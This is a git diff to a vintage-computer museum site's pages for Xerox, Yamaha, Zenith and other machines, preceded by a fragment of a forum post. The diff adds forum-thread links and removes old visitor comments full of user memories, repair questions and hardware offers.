dumb) well not really u see I booted from drive B with the sys disk and put another disk with no info on A, then I executed Format A or somethig like that and well it did.... u see I later found out that the boot drive will always be assigned as A.. Ahhhh this I found out later when I read the Docs.. Well if u guys and gals can help me out with the sys disk or files I would apreciate your help (sorry for my spelling) - - Thx oc_id: 487 source: url: https://web.archive.org/web/20230530203445/http://www.old-computers.com/museum/computer.asp?c=487 diff --git a/content/museum/xerox-820.md b/content/museum/xerox-820.md index b2dab5d2..1fd3be66 100644 --- a/content/museum/xerox-820.md +++ b/content/museum/xerox-820.md @@ -68,6 +68,7 @@ params: - photos - adverts - hardware + forum_thread: 36 photos: - title: RUNNING SYSTEM subtitle: '' @@ -132,51 +133,6 @@ params: subtitle: '' text: This 132-column printer (actually a Microline 82) still used old typewriter spool ribons but was quite indesctructible. image: /media/museum/hardware/xerox_820_printer_s1.jpg - comments: - - author: Ed Hase (US) - date: Wednesday 3rd June 2020 - text: |- - Mr. Bla Bla Bla\ - The 820 mother board went into the surplus market after its failure.\ - It was based on the Fergie board and had a large following in the aftermarket.\ - Some were sold fully populated and some as a bare board.\ - Mine had a SCSI controller by Emerald Microware (two 5 Meg drives)\ - A floppy controller daughter board (2-5 ¼” and 2- 8” high density floppies).\ - We also put in higher clock speed main chips to speed it up.\ - I was saving up for a ram board, when I sold it to someone developing hard ware on the Z80 platform. - - author: Bla Bla Bla My daddy worked for Xerox... - date: Thursday 24th November 2016 - text: |- - Bla Bla Bla, My daddy worked for Xerox and I learned DIR...\ - This is the most plain generic unimaginative piece of space junk Xerox ever produced. - - Shame on them! They invented the Alto! - - author: Steve H (Houston) - date: Wednesday 26th October 2016 - text: This was my first computer, dad worked for Xerox. I remember going thru the user manual and learning how to navigate the directories. Was proud of myself at age 10 to find stuff. This model had a fun little game named, "Barney." Think you had to type dir/ w or dir/p to find it. - - author: Nathan Lindsey (USA) - date: Wednesday 12th August 2015 - text: My Dad worked for Xerox and this was my first computer. I think it''s still in my Parents'' basement. - - author: Maurice (Virginia, USA) - date: Monday 10th October 2011 - text: |- - Maureen, I''m probably too late, but I have an 820II with monitor, keyboard and dual floppy drives. Manuals, too. I would like to sell it. - - Maurice - - author: Greg Bergman - date: Sunday 17th April 2011 - text: I have a shrink wrapped box with Digital Research CP/M Operating System labeled Xerox 1800 with a reorder number 8R1245. It came with my Digital Rainbow purchase years ago on ebay. It appears to be designed for a Xerox 820. Is this the operating system your machines ran? - - author: Maureen Limon (Virginia, USA) - date: Monday 28th February 2011 - text: |- - Does anyone know where I could rent the Xerox 820 to be used as a prop for a photo shot? I need it rather soon.\ - Thanks in advance - - author: Wayne (UK) - date: Tuesday 8th February 2011 - text: I had two of these obtained from a junk store in the mid 90''s which I never succesfully got going. Mine had the 8086 board fitted and had twin 8" floppies and a 8" Hard Drive. I am quite sure the drive interface was SASI (Pre SCSI?) What did surprise me was that the drives were AC powered (240v here) and had really nice induction motors. Hard Drive was 2 platter with clear perpex cover. - - author: Joe K - date: Saturday 3rd July 2010 - text: I finally got rid of my 820 a few years ago. Pretty sure my Uncle had 8" floppy drive for his, though mine was 5 1/4. I still have the manuals if anyone wants them, pls. e-mail - jkowski@sbcglobal.net oc_id: 15 source: url: https://web.archive.org/web/20230604042045/http://www.old-computers.com/museum/computer.asp?c=15 diff --git a/content/museum/xerox-860.md b/content/museum/xerox-860.md index 9268a25a..cc4f77ee 100644 --- a/content/museum/xerox-860.md +++ b/content/museum/xerox-860.md @@ -46,66 +46,11 @@ params: value: 16115 (France, 82) tabs: - links + forum_thread: 482 links: - title: Xerox 860 user manual url: http://www.spies.com/aek/pdf/xerox/alto/BravoXMan.pdf text: In .pdf format - comments: - - author: Michael (Manhattan, NY) - date: Thursday 22nd November 2007 - text: I was an employee of Xerox Northeast Regional Headquaters in Greenwich, Connecticut in 1980. Just out of High School and working in the copy center operating a Xerox 9400. This is where I taught myself Word Processing in my spare time on the 860. I also worked the 850 and the 800. I still have my original Systems Disk and Data disk for the 860 in my cabinet. What was special was that it was a "dedicated" word processor and it had a FULL page display. - - author: OldNavy8206 (US) - date: Tuesday 8th June 2021 - text: I was the Xerox 860 tech in USS Horne (CG-30) from 84-87. We had three and when one went down you should have heard the wails of anguish! The were essential for our Admin, Operations, and Weapons departments reports. - - author: lamballais (France, Paris) - date: Tuesday 21st December 2004 - text: |- - In charge of technological progress in a real estate firm(SME) - west part of France, in the early 80s, I suggest to buy a XEROX 860. - - That was a great machine. Three ladies shared it.\ - Thanks to the "mouse", they could go anywhere in the page they saw on the screen. With this XEROX 860, we produced shareholders' meetings reports and for instance, accounting tables, contracting expenditures tables as leaving apartments thanks to specifically designed programs. JUST GREAT! - - Before buying this XEROX 860, we rent a XEROX 800-2 which used 2 magnetic cards (as large as a third of an A4). On this XEROX 800-2, a small stick (cf. a joystick) enabled to choose the line you wanted to see on the display.\ - Existed also a XEROX 800-1 - using only one magnetic card -. This Xerox 800-1 was not so fast as XEROX 800-2 - - author: Timbo614 (United Kingdom) - date: Tuesday 10th January 2023 - text: I seem to have found one of these (an 860) in a barn :( It is in terrible condition I''m not even sure it is all there the printer is and I think the keyboard but didn''t see a monitor which would seem to be important! The main unit has been dismantled but there are i/o cpu? cards etc. The question is - Is it worth rescuing? - - author: Steve Jones (US) - date: Saturday 24th September 2022 - text: 'There were apparently a lot more mass storage options, with both floppy and hard drives. Check out some period brochures: http://s3data.computerhistory.org/brochures/xerox.850-860.1980.102646265.pdf' - - author: Michael Rutkaus (United States) - date: Saturday 6th August 2022 - text: I wrote the user manual for the 860 at XICTMD in Leesburg Virginia. I was fascinated by it, having been a technical writer for years by then, the abiiity to format, correct mistakes etc. Naturally I used the 860 itself to write the manual! It was a blast because I really was fascinated by it. Actually I''m not positive about the model number 860, I know it was the first word processor Xerox sold. Later I went out to Palo Alto to learn the Alto and net, then ran the Alto/Ethernet system in Leesburg for a few years. At first on the East Coast there were just three systems, Leesburg XICTMD, the White House, and Harvard. - - author: Calaverasgrande (NYC) - date: Tuesday 19th July 2022 - text: I found one of these in a storage room of a dodgy live work in Oakland back in the 90s. It had a box of disks and cables with the big keyboard + touchpad poking out. So I plugged it all in and got it to boot by trial and error disk swapping. Wasnt much I could do with it. This was before the internet was widely available. The local library had nothing on it. None of the applications seemed to work with the pointing device, or it was broken. So I used it to hold the door open on hot days. I did get into a database and found a bunch of shipping and receiving stuff from when the live work was an office for the foundry across the street. - - author: Kent Van Gent (United States) - date: Wednesday 9th February 2022 - text: I got on board the USS New Orleans (LPH-11) IN 1982. I used the Zerox 860 to write memos and reports. The only thing I didn''t like about it was it was easy to accidentally loose some of my typing on the far side of the screen. It was very hard to find but it would print out in the memo even though I couldn''t see it on the CRT. It used to drive me crazy. - - author: Steven (USA) - date: Friday 26th March 2021 - text: I worked for a company producing EIS for large construction projects from 1980 to 1983. I printed copies on a Xerox 9400 $ but the originals were produced on Xerox 860s (there was a pool of three machines) connected to large daisywheel printers in sound enclosures. At one point they investigated switching to a Xerox 9700 (high speed laser printer .. 120 letter pages/minute) for output. - - author: Yan - date: Monday 2nd December 2019 - text: LoL, here in Brasil, "Bravox" is the name of a company that produces loudspeakers. It was founded by immigrants from Germany in 1953. - - author: Danielle Nichole (Dallas Texas) - date: Saturday 4th January 2014 - text: Hi all, I remember my mother, Chasity, worked for Xerox in my early years but I don''t recall exactly what she did. I was born in 81 and I believe we were living in either texas or florida at the time but if any of you remember that name, (Chas) please $ me a line. - - author: Douglas - date: Friday 29th March 2013 - text: I used one in the Navy, too. Early 1980''s. The rumor in the ship''s office was that it coudl be used to play Pong. A jealously guarded secret! - - author: Dave (US) - date: Thursday 23rd February 2012 - text: Do not be confused by people, or sites, that claim this was a a word processing only system. It was a cp/m box. I personally have had cp/m system disks for this along with a few other things including BASIC, WordStar, and FORTRAN. They even used these in the engineering department of University of California Berkeley for programming. No I''m not confused with the 820. The disks said 860IPS on them and strangely enough booted a 860 IPS into cp/m. - - author: Jake (Earth) - date: Tuesday 7th November 2006 - text: |- - Really, a plea for help: I'm trying to transmit a long publication (360 pp) from a Xerox 860 to an Intel based custom computer via a null modem onnection (25 pin to 15 pin) and, of course, COMM software, but haven't gotten it to work. On the\ - receiving end I'm trying it in MEX and Windows 2000 HyperTerminal as file-to-file and in terminal mode. I did once get this to work, but that was\ - many Intel machines ago. If anyone might have an idea that might apply, l'd like to hear all theories before I resort to OCR scanning. - - author: Howard Pepper (USA) - date: Monday 1st December 2003 - text: We used two of these in my first U.S. Navy fighter squadron, VF-84. We had one in the Quality Assurance (QA) department, and one in the Personnel department. I tried to get a school for maintenance of this beast, but failed the pre-test (I couldn't remember my synchro-servo theory). We eventually replaced them with IBM-style PC's. oc_id: 488 source: url: https://web.archive.org/web/20221205121745/http://www.old-computers.com/museum/computer.asp?c=488 diff --git a/content/museum/xerox-sunrise-1800-1805.md b/content/museum/xerox-sunrise-1800-1805.md index a83b087a..a147692c 100644 --- a/content/museum/xerox-sunrise-1800-1805.md +++ b/content/museum/xerox-sunrise-1800-1805.md @@ -58,6 +58,7 @@ params: value: $2195 (USA, november 83) tabs: - photos + forum_thread: 483 photos: - title: XEROX 1805 subtitle: '' diff --git a/content/museum/yamaha-c1.md b/content/museum/yamaha-c1.md index cb31ae3f..38141a76 100644 --- a/content/museum/yamaha-c1.md +++ b/content/museum/yamaha-c1.md @@ -61,6 +61,7 @@ params: tabs: - photos - docs + forum_thread: 1144 photos: - title: LARGE VIEW subtitle: '' @@ -80,65 +81,6 @@ params:  compiled/archived by Yamaha\  type of document : PDF\  source : [Yamaha C1](http://www.yamaha.co.jp) - comments: - - author: Ted - date: Tuesday 8th February 2011 - text: |- - The day my C1 died was a sad one indeed. Loved the ease of the Voyetra sequencing software, and not having to use an outboard midi patchbay back then was awesome. With 8 outs and 2 ins I easily ran my entire studio, including: - - Juno 106\ - Cheetah MS-6\ - Cheetah MS800\ - Oberheim Matrix 6R\ - Roland D110\ - Yamaha SPX-900\ - ART SGX2000\ - \+ a pair of midi-CV boxes to drive older analogs. - - Would love to have that rig again... - - author: Gmez - date: Wednesday 5th May 2010 - text: Kraftwerk''s Electric Cafe was recorded during 83-86 with the Synclavier. Two C1 machines were used on stage in late 90''s only - - author: Joseph Monzo (United States) - date: Monday 16th May 2022 - text: I got a C1 around 1990 and loved it. Only was able to use it for a few years and then something went wrong with it, I don''t remember what it was now, probably the screen. I kept it anyway for a long time, and remember very clearly how painful it felt when I moved and decided to throw it away, just put it in the trash. Now I''ve become a collector of vintage computers and really would love to have one again, that''s in working condition. If anyone has one to donate or sell, search for me on Facebook and send a message. - - author: Bravine (United States) - date: Monday 17th May 2021 - text: 'How does the Yamaha C1 Music Computer ''''die''''? Mine works just fine. Had display issues, certainly... in the 90''''s Yamaha was gracious to supply a replacement screen, but that failed eventually. Next step: find the proper monitor! Found one, then the computer ''''expert'''' insisted on testing his own way... long story short: the ''''expert'''' destroyed his own monitor by not setting the monitor to the proper setting as I instructed. If anyone here can supply such a monitor for the C1, please reply! I find this situation similar to monitors for Akai samplers. However, note: the C1 monitor spec and early akai (up to 3000xl, at least) are entirely different.' - - author: Fionn (Ireland) (Ireland) - date: Saturday 2nd December 2017 - text: Hi Steve (USA) , I''d love the Yamaha C1, how can I get in contact to talk ? - - author: Steve (USA) - date: Tuesday 19th September 2017 - text: Does anyone want a Yamaha C1 music computer? It runs, crt display seems a little flaky. It''s been in storage for 20 years. - - author: kihyun Moon (south korea) - date: Thursday 24th August 2017 - text: |- - You have run a sequencer with a 3.5 inch d diskette to run the sequencer program.(Added on August 24 \~ 2017), we copied the diskette capacity over the diskette capacity to the diskette capacity, and then copied it into two chapters.(Hard Installator) has copied the files from the Dosbox program to the hard disk.However, the program was able to copy the program to the second bootable disk, but it was repeated repeatedly and tried to succeed several times before attempting to succeed. Maybe it''s because the floppy disk is all about the same errors, so it might be stale old, and it might have been stale or broken. $$12640$$$12640$\ - Anyway, I tried to play a song called Minute, but I was only able to install a vapi driver, and it was impossible for me to play the violin. $$12640$$$12640$\ - However, you could not run the drive.bat file with a diskette error. Maybe it''s a driver setup file ... - - author: Ethan (Virginia, USA) - date: Saturday 3rd October 2015 - text: |- - I''m trying to repair a C1 that starts up with the external display LED always on. No disk seeking or anything, and the dip switch for display on the back does nothing. The screen does not light up. - - I did a dump of the BIOS EPROMs from the machine and it looks like they''re corrupt, a sign of "bitrot." The letter P for Pheonix is corrupted in the dump, and I looked at dumps of another Phoenix BIOS and it looked proper. - - I''m looking for someone with a working machine to run a dos utility to dump the BIOS. There is a 3rd EPROM in the machines, not sure what it does $ but the BIOS dump utilities will not be able to dump it. I am going to re-read my EPROMs to make sure it wasn''t a bad read. I''m interested in how other people''s units are failing, and I think it would be a good thing to get the EPROMs from a working unit saved off. - - I have a good amount of documentation and original disks, I will put them all online. I''m putting all my notes with regards to repair online as well. - - author: PJ - date: Thursday 3rd May 2012 - text: Hey ''cram (bedroom)'' did you ever get them Yamaha C1 disks? - - author: cram (bedroom) - date: Sunday 27th May 2007 - text: |- - "but in monochro(or)me blue," he says. like that's not the cool part. - - anyway i'm trying to get mine going after 9 years in storage, no disks. who got da disks? - - author: Adrian (Earth) - date: Friday 26th January 2007 - text: I used to own one of these machines back in 1993. It had a CGA display, but in monochorme blue. It also had a 20mb H.D. and a 740K floppy disk as far as I remember. I mostly used it for learning to type. Eventually selling it to somebody who wanted it for music mixing. oc_id: 1176 source: url: https://web.archive.org/web/20230306003717/http://www.old-computers.com/museum/computer.asp?c=1176 diff --git a/content/museum/yamaha-cx5.md b/content/museum/yamaha-cx5.md index 813c540e..e65f68b4 100644 --- a/content/museum/yamaha-cx5.md +++ b/content/museum/yamaha-cx5.md @@ -73,6 +73,7 @@ params: - hardware - emulators - links + forum_thread: 437 hardware: - title: NATIONAL CF-2131 subtitle: 16 KB RAM expansion @@ -209,13 +210,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/yamaha-cx5m-music-computer.md b/content/museum/yamaha-cx5m-music-computer.md index 9c7c3c70..a8871771 100644 --- a/content/museum/yamaha-cx5m-music-computer.md +++ b/content/museum/yamaha-cx5m-music-computer.md @@ -81,6 +81,7 @@ params: - emulators - links - docs + forum_thread: 103 photos: - title: INSIDE CX5M subtitle: '' @@ -295,78 +296,6 @@ params:  type of document : PDF\  size : 4.1 MB\  source : www.old-computers.com - comments: - - author: caleb wood - date: Thursday 27th April 2017 - text: I have an old cx5m that I am refurbishing - however it''s missing a couple of function keys. Does anyone know where I can pick up parts? - - author: blur2040 (USA) - date: Friday 7th October 2016 - text: I used to own one of these a long time ago. Would love to have one again. If anyone has one, shoot me an email at blur2040@gmail.com - - author: Al - date: Friday 5th June 2015 - text: I have an untested but otherwise mint condition cx5m/msx keyboard for sale - £10 - - author: Andrew Mahon (uk) - date: Monday 13rd October 2014 - text: Message for Danielle Patterson. I am interested in the Computer and Controller keyboard. Do you still have them and if so how much do you want for them? - - author: andrew mahon (UK) - date: Monday 13rd October 2014 - text: Message for John Parkinson, I would love the CX5 Computer. Do you still have it. I live near Manchester so I could pick this up. I would be happy to give you something for it as well - - author: andrew mahon (UK) - date: Monday 13rd October 2014 - text: Message for John Parkinson, I would love the CX5 Computer. Do you still have it. I live near Manchester so I could pick this up. I would be happy to give you something for it as well - - author: andrew mahon (UK) - date: Monday 13rd October 2014 - text: Message for John Parkinson, I would love the CX5 Computer. Do you still have it. I live near Manchester so I could pick this up. I would be happy to give you something for it as well - - author: John Parkinson (UK) - date: Monday 25th August 2014 - text: |- - CX5M - free to good home!\ - I have a Yamaha CX5M music computer together with YK-01 (piano) keyboard and NP55140 power supply.\ - As far as I know these worked when I last used them (20 years ago). I have no way of testing them now as the monitor out is a phono out socket and I don''t have a means of hooking this up to a modern monitor. - - If anyone is interested in chancing the price of postage / or just collecting it (near Manchester, UK) - $ me a message on here.\ - John - - author: Danielle Patterson - date: Saturday 2nd March 2013 - text: i have the base computer and key board controller where could i sell it - - author: Mac Rutan (Florida, USA) - date: Wednesday 28th November 2012 - text: |- - The CX5M was my first computer and it served it''s purpose well. I used the music composition software cart and also a DX7 librarian with it. I saved to data cassette tape until I added the floppy drive for $200. I also added the MIDI keyboard which at that time was limited to note on/off and velocity only.\ - It drew me into electronic music in such a way that I hope new technology like the Raspberry Pi will do for my children. I ended up gifting it to the Sound Department at Columbia College, Chicago in 1994. I wish I had it back now for my kids! - - author: dah (england) - date: Wednesday 21st March 2012 - text: I bought cx5m in 1985,recorded on 2 albums, few singles, played live at Atonal festival, Berlin 1986 using it. I loved it, especially the voice editing program. - - author: Conrad Russo (Vancouver, British Columbia, Canada) - date: Wednesday 14th March 2012 - text: I have an upgraded version of this machine, the CX5M2/128. I have upgraded it to MSX2, which is a very simple procedure. It is the example of a "low end" MSX in my computer museum. The high end spot is filled by a Panasonic FS-A1ST MSX TurboR upgraded to 512k. I have to say that the MSX machines were quite impressive. I own many rare and unusual Japanese computers, but the TurboR holds a place in my heart, it has a charm to it that I can''t quite explain, but it''s a truly amazing system! - - author: Mikael (Helsingborg/Sweden) - date: Friday 9th December 2011 - text: '..... and the FB-01 sound module (a DX-7 in a box). It was more like a DX-9 in i box' - - author: Mikael (Helsingborg/Sweden) - date: Friday 9th December 2011 - text: '..... and the FB-01 sound module (a DX-7 in a box). It was more like a DX-9 in i box' - - author: H.Jenner (NY/USA) - date: Tuesday 10th May 2011 - text: I have used both MSX and this computer, but I Just wanted to share an observation. The model number is CX5M. The way the 5 is written on the system, it almost looks like as if it hints that it is an MSX system. M5X. The "C" at the end makes the whole thing look like as if it''s saying "MSX see?". Maybe this wasn''t the intention, but I couldn''t help but think of this model number this way. - - author: H. Schieck (Frankfurt a.M., Germany) - date: Monday 15th November 2010 - text: |- - The technical info speaks of a built-in PSU, but my CX5M had a huge brick of an external PSU that connected to the computer using a custom connector with multiple pins for the different voltages. - - By the way: Early versions of the internal sound module had a MIDI-IN port that was unusable. Only later versions of the CX5M sound modules allowed to be controlled as MIDI slaves with an external master-keyboard or sequencer. - - author: Bill Loguidice (Central New Jersey, USA) - date: Wednesday 17th October 2007 - text: |- - I believe you are correct, James. I have done extensive research on this and believe this to be the only MSX computer actually released in any notable quantity in the US, and in reality this was not marketed as a traditional computer anyway. Many sources claim that Spectravideo released the 728 here, but from all that I've found, this was not the case. I believe the expected MSX revolution never happened in the US because the Commodore 64 came to squeeze and dominate the low end market, causing the quick demise of most second-tier competitors. - - I personally own a CX5M with the improved MIDI capabilities. Right now, it's my only MSX 1 system, but I have a Japanese Sony MSX 2 system. - - author: b.rice (france) - date: Saturday 23rd September 2006 - text: there's à new version of the cx5m.... the cx5m II (with a best synthesis card) - - author: James Tamer (Greater Pasadena, California, USA) - date: Tuesday 21st March 2006 - text: Correct me if I'm wrong, but I think this was the only MSX computer marketed in the United States. In theory, the Spectravideo was also available... but I sure never saw one. related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/yamaha-sx-100.md b/content/museum/yamaha-sx-100.md index c990c339..91849f79 100644 --- a/content/museum/yamaha-sx-100.md +++ b/content/museum/yamaha-sx-100.md @@ -49,6 +49,7 @@ params: - hardware - emulators - links + forum_thread: 1291 photos: - title: YAMAHA SX-100 subtitle: '' @@ -210,10 +211,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Retrotechq8 (Kuwait) - date: Sunday 27th February 2022 - text: Retrotechq8 , i have one in mint condition related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/yamaha-yis-303.md b/content/museum/yamaha-yis-303.md index 051ceddb..284c17cf 100644 --- a/content/museum/yamaha-yis-303.md +++ b/content/museum/yamaha-yis-303.md @@ -73,6 +73,7 @@ params: - hardware - emulators - links + forum_thread: 436 adverts: - title: JAPAN ADVERT. subtitle: '' diff --git a/content/museum/yamaha-yis-503-diabolik.md b/content/museum/yamaha-yis-503-diabolik.md index 3186fb3c..d139ab43 100644 --- a/content/museum/yamaha-yis-503-diabolik.md +++ b/content/museum/yamaha-yis-503-diabolik.md @@ -74,6 +74,7 @@ params: - software - emulators - links + forum_thread: 435 photos: - title: JAPANESE MODEL subtitle: '' diff --git a/content/museum/yashica-yc-64.md b/content/museum/yashica-yc-64.md index 85138548..01b5129e 100644 --- a/content/museum/yashica-yc-64.md +++ b/content/museum/yashica-yc-64.md @@ -66,6 +66,7 @@ params: - hardware - emulators - links + forum_thread: 438 photos: - title: TOP VIEW subtitle: '' @@ -207,10 +208,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Lars (Norge) - date: Friday 31st March 2017 - text: My PAL YC-64 has an integrated PSU with a C7 socket (figure eight plug), and is rated at 20W, 220V, 50Hz. related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/yeno-dpc-64.md b/content/museum/yeno-dpc-64.md index 4f91363a..19c924eb 100644 --- a/content/museum/yeno-dpc-64.md +++ b/content/museum/yeno-dpc-64.md @@ -66,6 +66,7 @@ params: - hardware - emulators - links + forum_thread: 439 adverts: - title: FRENCH ADVERT (JAN. 1985) subtitle: '' @@ -207,13 +208,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/yeno-mx-64.md b/content/museum/yeno-mx-64.md index 4e84374e..d1139231 100644 --- a/content/museum/yeno-mx-64.md +++ b/content/museum/yeno-mx-64.md @@ -60,6 +60,7 @@ params: - hardware - emulators - links + forum_thread: 440 hardware: - title: NATIONAL CF-2131 subtitle: 16 KB RAM expansion @@ -196,12 +197,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Karma (Michigan, USA) - date: Monday 12th June 2017 - text: |- - According to the MSX wiki it was a French version of the Mitsubishi ML-F120 and had a Texas Instruments video card in it\ - https://www.msx.org/wiki/Yeno_MX64 related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/yeno-sc-3000-sc-3000h.md b/content/museum/yeno-sc-3000-sc-3000h.md index 41be4940..2ce453ad 100644 --- a/content/museum/yeno-sc-3000-sc-3000h.md +++ b/content/museum/yeno-sc-3000-sc-3000h.md @@ -65,6 +65,7 @@ params: - adverts - software - videos + forum_thread: 1066 photos: - title: YENO SC-3000H subtitle: '' diff --git a/content/museum/yeno-super-cassette-vision.md b/content/museum/yeno-super-cassette-vision.md index 28a6c8ff..3422bc1c 100644 --- a/content/museum/yeno-super-cassette-vision.md +++ b/content/museum/yeno-super-cassette-vision.md @@ -12,6 +12,7 @@ params: - software - emulators - links + forum_thread: 691 photos: - title: FRONT VIEW subtitle: '' @@ -131,10 +132,6 @@ params: - title: Z80 Club - Dreaming Tommorow url: http://homepage3.nifty.com/doritomo/index.htm text: Japanese website dedicated to Epoch Super Cassette Vision, Sega Mark III and NEC PC8801FH - comments: - - author: Laurent Dubois (France) - date: Wednesday 10th December 2003 - text: I had the french version of the Super Cassette Vision under the Yeno brand. I far as I can remember, the cost of this memorable console was about 700 french francs at the time, which was about 120 - 140 US dollars back in 1988 (I guessed it was about that year - I was only 11 at the time). Anyway, I remember it was a very ice console althought it was a hell to put the two joystick back under the front semi-transparent black cover. The cables would never turn in completely. Also, I remember games were pretty hard to find. The console was a present from my parents and I belive it was ordered through a mail delivery catalogue like the french "La Redoute" or "Les 3 Suisses" which are still very popular and are still selling consoles (newer one off course). Hope this will add a few more info and thanks for your great website! related: - /museum/epoch-super-cassette-vision oc_id: 708 diff --git a/content/museum/zba-consul-2717.md b/content/museum/zba-consul-2717.md index ea1da3d9..2c8863c6 100644 --- a/content/museum/zba-consul-2717.md +++ b/content/museum/zba-consul-2717.md @@ -65,6 +65,7 @@ params: tabs: - photos - links + forum_thread: 1100 photos: - title: LARGE VIEW subtitle: '' @@ -121,12 +122,6 @@ params: - title: broucek.me.cz url: http://www.broucek.me.cz/muzeum/clanky.htm text: Lots of user and technical manuals in .pdf format - comments: - - author: Libor Petr (Czech Republic) - date: Monday 27th June 2011 - text: |- - See you last hour with Consul 2712 in elementary school : http://lipe.rajce.idnes.cz/posledni_den_s_Consulem_2712/$\ - :-) oc_id: 1130 source: url: https://web.archive.org/web/20230329064014/http://www.old-computers.com/museum/computer.asp?c=1130 diff --git a/content/museum/zenith-data-systems-z-160-pc.md b/content/museum/zenith-data-systems-z-160-pc.md index 45b09984..7899ec87 100644 --- a/content/museum/zenith-data-systems-z-160-pc.md +++ b/content/museum/zenith-data-systems-z-160-pc.md @@ -64,59 +64,12 @@ params: 128 KB model : 4565 (France, 1984) tabs: - photos + forum_thread: 460 photos: - title: Z-160 PC subtitle: '' text: Another picture of this beast image: /media/museum/photos/zenith_z160-pc_2.jpg - comments: - - author: Tim - date: Friday 31st January 2020 - text: I just started restoring a Z-160. It was sold to me as not having the keyboard cable. Turn out it did have the keyboard cable. It was located in the compartment which is revealed by sliding the panel to the left of the monitor. Neither the description here nor anywhere else mentions this sliding panel. - - author: caerhl irey (United States) - date: Sunday 7th October 2018 - text: I do still have one. I can''t seem to message anyone. If you are interested, message me at bamfylde@yahoo.com - - author: caerhl irey (United States) - date: Saturday 30th June 2018 - text: I have one too. I found mine in an alley. I had a sticker from the University of Minnesota Computer Lab. It was being thrown out. It has a modem installed in it! It works great and weighs a ton! - - author: maximilian elseroui (Austria) - date: Saturday 2nd December 2017 - text: |- - Do you still have this Zenith Z-160? I am interestet in buying it ?\ - Maximilian - - author: ZeroCool235 (United States) - date: Thursday 14th September 2017 - text: I would love to have the Zenith, if you could just shoot me an email about shipping and handling that would be cool! - - author: Bob Gregory (USA) - date: Monday 11th September 2017 - text: |- - Hi Everyone, - - After 30 years of running my business I am retiring by the end of the year. For the first 8 years or so we were a ZDS dealer and I have seen them all. Z150m Z160, Z386, Z86, the whole offering. - - The purpose of this post is that I have a Z160 in pristine running condition with a 20MB hard drive $ 5.25" FDD that I am willing to GIVE AWAY at no cost other than packaging $ shipping fees. I also have a Compaq Portable in the same shape. There are no strings, I just think it would be nice for Zenith people to get the Z160. - - author: Robert Carnevali (USA) - date: Monday 24th April 2017 - text: This was my first real computer. My employer at the time had one and wanted to get a different model. They sold it to me by letting me pay weekly with a little out of my paychecks for a year. It had 384K RAM that I expanded to 640K. I also took out a floppy drive and added a 20MB hard drive. It did have a socket for an 8087 chip. The monochrome monitor was clear, but the PC released a ton of radio interference from the video adapter. The neighbor upstairs complained that when I''d load a video game on it, he could see the video on his television overpowering his own antenna reception. I gave it to a friend after I got a Northgate 386 PC. When she passed away, I helped clear out her apartment and it wound up getting thrown away. I still regret doing that as I''d love to have it back again. One day I''ll find one somewhere for sale. - - author: Michael (Newcastle upon Tyne) - date: Wednesday 27th July 2011 - text: I still have one of these in running order! From time to time I get it out to prove the point that despite all the GigaHertz of CPU ... I can enter information ''almost'' as fast today as I could in the mid-80''s !! Roll on the semantic web when we ca re-use information... I think that will make a big difference. In the meantime, I gracefully concede when I compare modern browsing to the Z-160 capability... compuserve on 300 baud was sloooooowwwwwww! $-) - - author: Gary Crunk (Arizona, USA) - date: Saturday 23rd July 2011 - text: |- - I just bought one of these. The unit has a Yellow Bar across the CRT when on, cant see anything else....\ - I read William Pociengel had one and he overclocked it, but had to adjust the video... I think thats what I need to do... William Pociengel, can you shed some light on this for me???? Thanks\ - Gary Crunk\ - garycrunk@amtimes.com - - author: A Man (Computer Desk, Living Room) - date: Saturday 14th February 2009 - text: I think it looks really awsom, a perfict example of old computer awsomeness - - author: Dan (London) - date: Thursday 16th February 2006 - text: |- - I picked one of these up a year or so ago. It's been pretty heavily upgraded with 640k + 1MB of RAM and a 40MB HDD. - - If anyone has any advice on networking this beast I'd love to hear it... Think it's about timt it got on the net... oc_id: 465 source: url: https://web.archive.org/web/20230331120249/http://www.old-computers.com/museum/computer.asp?c=465 diff --git a/content/museum/zenith-data-systems-z-171-pc.md b/content/museum/zenith-data-systems-z-171-pc.md index 0dd7d461..cd6104f3 100644 --- a/content/museum/zenith-data-systems-z-171-pc.md +++ b/content/museum/zenith-data-systems-z-171-pc.md @@ -60,6 +60,7 @@ params: - photos - adverts - links + forum_thread: 877 photos: - title: Z-171 PC subtitle: '' @@ -77,42 +78,6 @@ params: - title: Review in Infoworld 1986 issue url: http://books.google.com/books?id=XC8EAAAAMBAJ&pg=PA39&lpg=PA39&dq=quadram+corp+lunchbox+pc&source=bl&ots=uFb_tIFXdi&sig=iU7xiZSjbhmvu40dLZ6t5N0bCxc&hl=en&ei=KsVWTK_0O4u8sQP7jpjaAg&sa=X&oi=book_result&ct=result&resnum=2&ved=0CBUQ6AEwAQ#v=onepage&q&f=false text: '' - comments: - - author: 777 777 (St. Joseph Michigan) - date: Friday 6th April 2012 - text: When I transferred from HeathKit to ZDS, this was the first project I worked on. Spent a lot of time getting a HDD running it it. Then they canceled the project. - - author: Daniel Goodland (Canada) - date: Thursday 22nd September 2016 - text: I''m trying to remember mine - I was pretty certain it was a Texas Instruments - and had a handle on the top. I know I was able to run WordPerfect 4.1 off the 5 1/4 on it. I could still turn it on when I left it (and my 8086) with the Oshawa computer museum long long ago... http://www.pcmuseum.ca/ 